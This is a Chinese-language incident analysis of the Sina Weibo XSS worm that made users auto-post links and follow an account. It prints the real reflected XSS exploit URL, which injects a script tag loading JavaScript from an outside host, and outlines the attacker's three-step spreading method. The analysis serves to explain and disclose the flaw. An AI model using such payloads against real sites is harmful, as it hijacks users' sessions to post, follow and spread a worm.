Nevel公司安全专家:新浪微博”中毒”分析报告

事件的经过
    新浪微博昨晚出现大范围”中毒”现象,大量用户自动发送”建党大业中穿帮的地方”,”个税起征点有望提到4000”,”郭美美事件的一些未注意到的细节”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。
    此前,利用XSS漏洞传播蠕虫的案列在社交网站中曾多次发生,Facebook,Twitter,以及QQ空间,百度空间等都出现过类似的情况,此次新浪微博”中毒”,立刻引起了Nevel公司安全团队的重视。新浪官方早在第一时间就检测到该病毒,并对漏洞进行了修补,病毒的存活时间不到半个小时,其实XSS中毒现象也并不想传统意义上的中毒,仅仅存活在服务器上,它基本不会对用户电脑造成什么威胁,但会利用用户在新浪微博上的会话权限进行发布微博、关注等操作,同时该漏洞也无法获取到用户的密码信息,用户不需要有太多的担忧。

分析报告:

  下面我们来一起分析下该漏洞的成因:从PAYLOAD上来看,实际上属于一个反射弧性的XSS攻击,
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

URlDecode:
http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
攻击者利用微博广播广场页面http://weibo.com/pub/star的一个URL注入了js脚本,那么这个脚本攻击者是怎么注入进去的(新浪漏洞已修补),我们其实可以根据现象去分析,对于蠕虫攻击,受攻击者的页面应该也都会发布带有攻击性的JS内容,我们可以发现所有被攻击的用户微博上都会发布一条短连接信息,因此我们可以初步断定问题发生在短连接处,笔者利用自己的微博,尝试发布一条带有短连接形式的微博,直接发布一条含有URL的微博,如下图:


 

发布完成后我们查看下网页源代码,如下图:


 

很显然真实的地址会被写入到action-data的属性中去,因此不难想象漏洞产生原因,由于action-data的值没有进行合适的过滤,导致攻击者可以输入畸形的数据插入JS脚本,闭合前面的双引号和尖括号,从而造成XSS攻击。

构造Xss_Exploit如下:
http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

注://www.2kt.cn/images/t.js是一种合法的协议写法,与http://www.2kt.cn/images/t.js效果一样。

完整模拟攻击者的攻击手段:

1 首先将攻击脚本存放在www.2kt.cn服务器上
2 建立恶意用户,利用构造的XSS_Exploit发布微博消息
3 通过发布吸引力强的热门的话题让有影响力的人访问,中招者自动发微博并进行传播

 在攻击过程中,攻击者多次利用短连接将真实的URL进行转换,让一般用户不易发现,以便更好地延长蠕虫的存活时间,短连接在提供简短易记的同时,也带来了一些新的安全问题,攻击者可以利用这些短连接隐藏实际攻击URL来进行攻击.

打开微信“扫一扫”,打开网页后点击屏幕右上角分享按钮